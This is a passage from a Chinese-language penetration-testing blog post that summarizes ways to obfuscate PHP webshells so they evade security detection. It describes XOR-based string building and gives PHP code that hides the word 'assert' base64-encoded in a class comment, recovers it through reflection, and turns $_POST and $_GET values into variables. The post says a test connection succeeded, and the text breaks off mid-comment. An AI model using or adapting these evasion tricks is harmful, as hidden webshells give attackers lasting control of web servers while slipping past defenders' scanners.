渗透测试 | php的webshell绕过方法总结

原创

于 2023-12-26 09:55:26 发布 · 1.3k 阅读

CC 4.0 BY-SA版权

文章标签：

本文详细总结了10种PHP webshell绕过方法，包括异或运算、注释隐藏、字符运算符、使用end函数、常量定义、字符串拼接、函数定义、类定义等，并通过实例演示了如何绕过安全检测。这些技巧可用于网络安全测试，但须注意合法性和道德底线。

本文由掌控安全学院 - 手电筒投稿

这个表示了$a=这两个字符串之间进行一个异或运算
运算异或运算符，按二进制位进行异或运算
这里的运算会把符号转化为ascii码，再转化为二进制，再转化为十进制进行运算，再把结果转化为ascii码
通过这个转换的方式来绕过检测

测试可以成功连接

<?php
/**
* YXNzZXJ0YmZnZmc=
*/
class Example
{
public function fn()
{
}
}
通过一个空的类去获取，
$reflector = new ReflectionClass('Example'); //这里为通过反射获取类的注释
$zhushi = substr(($reflector->getDocComment()), 7, 12);//然后去截断获取注释里的字符,注意getDocComment只能通过文件最开始的类来调用才会把注释内容显示
$zhushi = base64_decode($zhushi);
$zhushi = substr($zhushi, 0, 6);
echo $zhushi;
foreach (array('_POST','_GET') as $_request) {
foreach ($$_request as $_key=>$_value) {
$$_key= $_value;
}
}
/*设置一个数组，参数为_POST,_GET,然后把该数组用$_request去表示，再设置一个遍历，把$_request设为一个可变变量，再键值分离</